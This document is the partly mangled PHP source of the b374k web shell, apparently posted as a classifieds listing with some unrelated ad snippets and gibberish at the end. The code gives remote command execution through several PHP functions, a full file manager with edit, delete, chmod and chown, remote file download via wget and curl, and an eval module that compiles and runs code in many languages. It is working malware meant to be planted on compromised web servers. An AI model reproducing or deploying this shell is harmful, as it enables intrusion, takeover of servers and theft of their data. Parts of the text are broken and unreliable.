shell

18 November 2018 21:17 | dibaca 219 kali

$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
}

if(!function_exists('execute')){
function execute($code){
$output = "";
$code = $code." 2>&1;";

if(is_callable('system') && function_exists('system')){
ob_start();
@system($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('shell_exec') && function_exists('shell_exec')){
$output = @shell_exec($code);
if(!empty($output)) return $output;
}
elseif(is_callable('exec') && function_exists('exec')){
@exec($code,$res);
if(!empty($res)) foreach($res as $line) $output .= $line;
if(!empty($output)) return $output;
}
elseif(is_callable('passthru') && function_exists('passthru')){
ob_start();
@passthru($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('proc_open') && function_exists('proc_open')){
$desc = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
if(is_resource($proc)){
while($res = fgets($pipes[1])){
if(!empty($res)) $output .= $res;
}
while($res = fgets($pipes[2])){
if(!empty($res)) $output .= $res;
}
}
@proc_close($proc);
if(!empty($output)) return $output;
}
elseif(is_callable('popen') && function_exists('popen')){
$res = @popen($code, 'r');
if($res){
while(!feof($res)){
$output .= fread($res, 2096);
}
pclose($res);
}
if(!empty($output)) return $output;
}
return "";
}
}

if(!function_exists('html_safe')){
function html_safe($str){
return htmlspecialchars($str, 2 | 1);
}
}

if(!function_exists('parse_dir')){
function parse_dir($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$paths = explode(DIRECTORY_SEPARATOR, $path);
$res = "";
for($i = 0; $i < sizeof($paths)-1; $i++){
$x = "";
for($j = 0; $j open($archive, 1)) return $status;

if(!is_array($files)) $files = array($files);
foreach($files as $file){
$file = str_replace(get_cwd(), '', $file);
$file = str_replace('\\', '/', $file);
if(is_dir($file)){
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
foreach($filesIterator as $iterator){
$iterator = str_replace('\\', '/', $iterator);
if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;

if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
}
}
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
}
if($zip->getStatusString()!==false) $status = true;
$zip->close();
}
return $status;
}
}

if(!function_exists('compress')){
function compress($type, $archive, $files){
if(!is_array($files)) $files = array($files);
if($type=='zip'){
if(zip($files, $archive)) return true;
else return false;
}
elseif(($type=='tar')||($type=='targz')){
$archive = basename($archive);

$listsBasename = array_map("basename", $files);
$lists = array_map("wrap_with_quotes", $listsBasename);

if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));

if(is_file($archive)) return true;
else return false;
}
return false;
}
}

if(!function_exists('decompress')){
function decompress($type, $archive, $path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$status = false;
if(is_dir($path)){
chdir($path);
if($type=='unzip'){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$target = $path.basename($archive,".zip");
if($zip->open($archive)){
if(!is_dir($target)) mkdir($target);
if($zip->extractTo($target)) $status = true;
$zip->close();
}
}
}
elseif($type=='untar'){
$target = basename($archive,".tar");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;

}
elseif($type=='untargz'){
$target = "";
if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");

if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
}
return $status;
}
}

if(!function_exists('download')){
function download($url ,$saveas){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$filename = basename($url);

if($content = read_file($url)){
if(is_file($saveas)) unlink($saveas);
if(write_file($saveas, $content)){
return true;
}
}

$buff = execute("wget ".$url." -O ".$saveas);
if(is_file($saveas)) return true;

$buff = execute("curl ".$url." -o ".$saveas);
if(is_file($saveas)) return true;

$buff = execute("lwp-download ".$url." ".$saveas);
if(is_file($saveas)) return true;

$buff = execute("lynx -source ".$url." > ".$saveas);
if(is_file($saveas)) return true;

return false;
}
}

if(!function_exists('get_fileperms')){
function get_fileperms($file){
if($perms = @fileperms($file)){
$flag = 'u';
if(($perms & 0xC000) == 0xC000)$flag = 's';
elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
elseif(($perms & 0x8000) == 0x8000)$flag = '-';
elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
$flag .= ($perms & 00400)? 'r':'-';
$flag .= ($perms & 00200)? 'w':'-';
$flag .= ($perms & 00100)? 'x':'-';
$flag .= ($perms & 00040)? 'r':'-';
$flag .= ($perms & 00020)? 'w':'-';
$flag .= ($perms & 00010)? 'x':'-';
$flag .= ($perms & 00004)? 'r':'-';
$flag .= ($perms & 00002)? 'w':'-';
$flag .= ($perms & 00001)? 'x':'-';
return $flag;
}
else return "???????????";
}
}

if(!function_exists('format_bit')){
function format_bit($size){
$base = log($size) / log(1024);
$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
}
}

if(!function_exists('get_filesize')){
function get_filesize($file){
$size = @filesize($file);
if($size!==false){
if($size ini_get('highlight.default'),
"hl_keyword"=> ini_get('highlight.keyword'),
"hl_string"=> ini_get('highlight.string'),
"hl_html"=> ini_get('highlight.html'),
"hl_comment"=> ini_get('highlight.comment')
);


$content = highlight_string(read_file($file),true);
foreach($hl_arr as $k=>$v){
$content = str_replace("", "", $content);
$content = str_replace("", "", $content);
}
}
elseif($type=="image"){
$width = (int) $image_info[0];
$height = (int) $image_info[1];
$image_info_h = "Image type = ( ".$image_info['mime']." )
Image Size = ( ".$width." x ".$height." )";
if($width > 800){
$width = 800;
$imglink = "
[ View Full Size ]";
}
else $imglink = "";

$content = "".$image_info_h."".$imglink."

";

}
elseif($type=="multimedia"){
$content = "




Load Multimedia File
";
}
elseif($type=="edit"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "savepreserve modification timestamp".html_safe(read_file($file))."";
}
elseif($type=="hex"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "savepreserve modification timestamp".bin2hex(read_file($file))."";
}
else $content = "".html_safe(read_file($file))."";



$output .= "

Filename".html_safe($file)."
Size".get_filesize($file)." (".filesize($file).")
".$owner."
Permission".get_fileperms($file)."
Create time".@date("d-M-Y H:i:s",filectime($file))."
Last modified".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed".@date("d-M-Y H:i:s",fileatime($file))."

explorer
action
raw
code
hex
image
multimedia

".$content."
";


}
else $output = "error";
return $output;
}
}

if(!function_exists('get_writabledir')){
function get_writabledir(){
if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
else{
foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
if(!empty($_ENV[$k])){
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
}
}
if(function_exists("sys_get_temp_dir")){
$dir = sys_get_temp_dir();
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
}
else{
if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
}

$tempfile = tempnam(__FILE__,'');
if(file_exists($tempfile)){
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
unlink($tempfile);
return $dir;
}
}
return false;
}
}

if(!function_exists('get_drives')){
function get_drives(){
$drives = "";
$v = explode("\\", get_cwd());
$v = $v[0];
foreach (range("A", "Z") as $letter){
if(@is_readable($letter.":\\")){
$drives .= "[ ";
if($letter.":" != $v) $drives .= $letter;
else{$drives .= "".$letter."";}
$drives .= " ] ";
}
}
return $drives;
}
}

if(!function_exists('show_all_files')){
function show_all_files($path){
if(!is_dir($path)) return "No such directory : ".$path;
chdir($path);
$output = "";
$allfiles = $allfolders = array();
if($res = opendir($path)){
while($file = readdir($res)){
if(($file!='.')&&($file!="..")){
if(is_dir($file)) $allfolders[] = $file;
elseif(is_file($file))$allfiles[] = $file;
}
}
}

array_unshift($allfolders, ".");
$cur = getcwd();
chdir("..");
if(getcwd()!=$cur) array_unshift($allfolders, "..");
chdir($cur);

natcasesort($allfolders);
natcasesort($allfiles);

$cols = array();
if(is_win()){
$cols = array(
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
else{
$cols = array(
"owner"=>"get_fileowner",
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}

$totalFiles = count($allfiles);
$totalFolders = 0;

$output .= "";
$output .= "namesize";

foreach($cols as $k=>$v){
$output .= "".$k."";
}
$output .= "";

foreach($allfolders as $d){
$cboxException = "";
if(($d==".")||($d=="..")){
$action = "actiondot";
$cboxException = " cBoxException";
}
else{
$action = "actionfolder";
$totalFolders++;
}
$output .= "

[ ".html_safe($d)." ]action
DIR";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($d)."'";
$output .= "".$v($d)."";
}
$output .= "";
}
foreach($allfiles as $f){
$output .= "

".html_safe($f)."action
".get_filesize($f)."";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($f)."'";
$output .= "".$v($f)."";
}
$output .= "";
}
$output .= "";

$colspan = 1 + count($cols);
$output .= "

Action
cut
copy
paste
delete
------------
chmod
chown
touch
------------
extract (tar)
extract (tar.gz)
extract (zip)
------------
compress (tar)
compress (tar.gz)
compress (zip)
------------


".$totalFiles." file(s), ".$totalFolders." Folder(s)
";
$output .= "";
return $output;
}
}

if(!function_exists('eval_get_supported')){
function eval_get_supported(){
$eval_supported = array();

$eval_supported[] = "php";

$check = strtolower(execute("python -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "python";

$check = strtolower(execute("perl -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "perl";

$check = strtolower(execute("ruby -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";

$check = strtolower(execute("node -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "node";
else{
$check = strtolower(execute("nodejs -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
}

$check = strtolower(execute("gcc --help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";

$check = strtolower(execute("java -help"));
if(strpos($check,"usage")!==false){
$check = strtolower(execute("javac -help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "java";
}

return implode(",", $eval_supported);
}
}

if(!function_exists('eval_go')){
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "";
$output = "";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;

if($evalType=="php"){
ob_start();
eval($evalCode);
$res = ob_get_contents();
ob_end_clean();
return $res;
}
elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($path, 0755)){
$res .= " (ok)\n";
$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";

$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";

$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="gcc"){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$ext = (is_win())? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = $pathres.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";

$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="java"){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";

if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}
else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}

$path = $filename.".java";
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = "javac ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = "java ".$filename.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";

$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="executable"){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".exe";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = $path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);

$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";

$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
return false;
}
}

if(!function_exists('output')){
function output($str){
$error = @ob_get_contents();
@ob_end_clean();
header("Content-Type: text/plain");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
echo $str;
die();
}
}
block_bot();
auth();
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array();

$explorer_content = "";
if(isset($p['viewEntry'])){
$path = trim($p['viewEntry']);
if(is_file($path)){
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
setcookie("cwd", $dirname);
chdir($dirname);
$nav = get_nav($dirname);
$cwd = html_safe($dirname);
$explorer_content = view_file($path, "auto");
}
elseif(is_dir($path)){
$path = realpath($path).DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
chdir($path);
$nav = get_nav($path);
$cwd = html_safe($path);
$explorer_content = show_all_files($path);
}
}
else $explorer_content = show_all_files(get_cwd());

$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;

$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = "".get_cwd().">0) output($counter);
else output('error');
}

$error = @ob_get_contents();
$error_html = (!empty($error))?"".str_replace("\n\n", "\n", html_safe($error))."":"";
@ob_end_clean();
error_reporting(0);
@ini_set('display_errors','0');


?>






td:nth-child(3){
text-align:left;
}
#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
text-align:center;
}
.dataView .col-owner{
width:140px;
min-width:140px;
text-align:center;
}
.dataView .col-perms{
width:80px;
text-align:center;
}
.dataView .col-modified{
width:150px;
text-align:center;
}
.sortable th{
cursor:pointer;
}
#xplTable td{
white-space:nowrap;
}
#viewFile td{
text-align:left;
}
#viewFilecontent{
padding:8px;
border:1px solid #dddddd;
border-radius:8px;
}
#terminalPrompt td{
padding:0;
}
#terminalInput{
background:none;
border:none;
padding:0;
width:100%;
}
#evalAdditional{
display:none;
}
.hl_default{
color:#517797;
}
.hl_keyword{
color:#00BB00;
}
.hl_string{
color:#000000;
}
.hl_html{
color:#CE5403;
}
.hl_comment{
color:#7F9F7F;
}
#navigation{position:fixed;left:-16px;top:46%;}
#totop,#tobottom,#toggleBasicInfo{background:url('');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#toggleBasicInfo{display:none;float:right;margin:0;}
#basicInfoSplitter{display:none;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
#showinfo{float:right;display:none;}
#logout{float:right;}












x
v






















Dikirim oleh: XC0DE, idn, 08393792374
Terdapat pada: Agrobisnis, shell

Iklan Terkait

  • shell
    elseif(is_callable('proc_open') && function_exists('proc_open')){
  • Gatau
    Hajajajehhdhdhdhdjjsjshshshjdjdkdjdjsywywywyeygdgdgdgggddgdgsgshshshehshwhhehehehehueushdhdhjdhdhdhdhdhhdhdhdhdhje